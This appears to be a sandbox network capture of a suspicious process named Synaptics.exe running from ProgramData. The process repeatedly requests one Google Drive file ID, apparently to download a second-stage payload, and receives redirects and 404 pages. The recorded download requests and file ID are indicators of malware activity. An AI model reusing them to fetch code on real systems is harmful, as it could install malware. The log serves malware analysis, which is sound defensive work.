2025-01-02 19:11:23 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4cBS3164a8x7G-oRKuNvQ3xiTULGwOSq7LF0p5KEP8axSU09ZWGPQvAsVLivccfBDG Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:22 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2_1q7hw57ezOXmSgplIRJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:23 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:23 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 5a 69 34 32 5f 64 4e 44 6b 33 6d 65 70 5f 38 58 50 44 32 71 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="XZi42_dNDk3mep_8XPD2qA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:23 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	56131	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:23 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	56132	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:23 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	56133	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:23 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	56134	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:23 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	56135	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:24 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ge44dlHfMz7EB6GrGcy7hg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	56136	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:24 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:24 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:24 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-A1nM4x6TNYD8ez4tW1GkNQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	56140	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:25 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:25 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6QVoIHHULdtbIBn_ejOvcXDRWoiyaYVsdlScQsV4HV9YzDkp1-FRq2G-t_X64O3d2p Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:25 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lFEKxHVEzsVJm_6-IL09_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:25 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:25 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 47 37 49 78 77 66 4d 38 6e 46 74 64 79 34 51 58 5a 61 64 44 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="GG7IxwfM8nFtdy4QXZadDA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:25 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	56139	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:25 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Xyp0s-COJW-RKxEjSy_x5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	56141	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:25 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:26 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5H7oRyTf-wJpA0IzCwP1GpUzaWOYmAIg2ZwmlSw_e9cIu3_BCZfaFmW4pxd0XT51sCvszH7dQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:25 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-3s5P_u9TIIEdQ_CSNbbilg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:26 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:26 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 4f 4c 53 5f 52 35 72 43 6f 39 44 52 6a 30 4c 4a 74 7a 4d 4a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="oOLS_R5rCo9DRj0LJtzMJQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:26 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	56138	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:25 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-FZH1eJt76018toetQgwxbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	56144	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:26 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Uz0aJTJgft_RHFPZGfVTCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff 